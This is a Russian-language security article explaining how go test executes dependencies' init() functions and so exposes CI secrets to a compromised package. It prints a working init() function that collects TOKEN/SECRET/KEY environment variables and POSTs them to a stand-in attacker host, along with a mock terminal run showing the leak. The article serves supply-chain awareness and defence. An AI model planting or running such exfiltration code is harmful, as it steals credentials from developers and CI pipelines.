Опасность init() в зависимостях Go: почему go test ставит под угрозу CI-секреты

Каждый раз, когда в новостях гремит очередной скандал с вредоносными пакетами в npm или PyPI, сообщество Go-разработчиков обычно облегченно выдыхает. Вспомни хотя бы червя в библиотеках keyv и cacheable, который раскручивал цепочку атак через хуки preinstall. В Go архитектура тулчейна изначально проектировалась с прицелом на безопасность: команда go get скачивает только исходные тексты и сверяет хэши в go.sum, а go build транслирует код в бинарники без исполнения каких-либо промежуточных скриптов.

Кажется, что в экосистеме Go supply-chain атаки с автоматическим выполнением кода невозможны в принципе. Но французский исследователь безопасности Жюль Робино (Jules Robineau) наглядно показал: слепая зона существует, и мы сами открываем ей двери каждый рабочий день, когда запускаем команду go test.

Анатомия исполнения: как срабатывает капкан

Давай разберем по винтикам, что происходит в процессе компиляции и тестирования проекта.

Когда ты пишешь код на Go, ты наверняка используешь или хотя бы встречал специальную функцию init(). По спецификации языка она предназначена для предварительной настройки пакета (инициализации структур, проверки переменных). И главное правило рантайма: функции init() всех импортированных пакетов вызываются автоматически и строго до того, как управление получит функция main().

При обычной сборке сервиса (go build) сторонний код не запускается. Но как устроен go test?

Команда go test ./... компилирует специальный тестовый исполняемый файл, в который линкуются твои тесты и абсолютно все их транзитивные зависимости. И вот здесь срабатывает фундаментальное правило: до запуска первого тестового кейса TestXxx рантайм Go выполняет init() всех зависимостей прямо в текущем системном процессе.

Если злоумышленник скомпрометировал даже второстепенную библиотеку глубоко в дереве зависимостей, ему достаточно положить в нее функцию вроде этой:

package analytics

import (
    "bytes"
    "net/http"
    "os"
    "strings"
)

// init вызывается автоматически средой выполнения Go при импорте пакета
func init() {
    secrets := make([]string, 0)
    for _, env := range os.Environ() {
        if strings.Contains(env, "TOKEN") || strings.Contains(env, "SECRET") || strings.Contains(env, "KEY") {
            secrets = append(secrets, env)
        }
    }
    if len(secrets) > 0 {
        payload := bytes.NewBufferString(strings.Join(secrets, "\n"))
        // Неблокирующая эксфильтрация на сервер атакующего
        go http.Post("https://attacker-collect.example.com/drop", "text/plain", payload)
    }
}

А теперь посмотри, как это выглядит в терминале:

# 1. Скачивание и компиляция абсолютно безопасны — код не исполняется
$ go get example.com/analytics@v1.2.0
$ go build ./...

# 2. Запуск тестов мгновенно активирует init() и отдает секреты процессу
$ GITHUB_TOKEN="ghp_live_deploy_secret_xyz" go test ./...
[analytics] exfiltrating 1 secret to drop server...
PASS
ok      myproject/services      0.042s

Ты видишь зеленый статус PASS, тесты прошли успешно, а твои токены уже лежат на сервере злоумышленника.

Почему это смертельно опасно для CI/CD

На локальной машине разработчика такой сценарий неприятен, но в корпоративном конвейере непрерывной интеграции (CI/CD) это превращается в катастрофу:

1. Концентрация секретов в раннерах. Очень часто в джобы сборки и тестирования передаются переменные окружения с правами на деплой в продакшен: токены от реестров контейнеров, ключи от AWS/GCP, токены доступа к репозиториям. Вредоносная зависимость читает их в первую же миллисекунду работы процесса.
2. Иллюзия непогрешимости go.sum. Файл go.sum и контрольные суммы sum.golang.org гарантируют лишь то, что код не был подменен по дороге. Но если злоумышленник сам опубликовал валидную новую версию с вредоносным init(), хэш будет безупречным.
3. Боты автоматических обновлений. Представь: бот Renovate или Dependabot присылает Pull Request на обновление минорной версии библиотеки и автоматически триггерит тестовый пайплайн с доступами к секретам. Достаточно пяти минут, чтобы ключ утек.

В свете того, как активно развивается платформа и инструменты сборки (вспомним недавний релиз Go 1.27: дженерик-методы, ускорение аллокаций памяти и пакет uuid в стандартной библиотеке), модель безопасности цепочки поставок требует жесткой гигиены.

Помни: безопасность компилятора не отменяет необходимости строгой изоляции процессов. Доверяй зависимостям, но всегда проверяй, какие секреты видит твой тестовый раннер.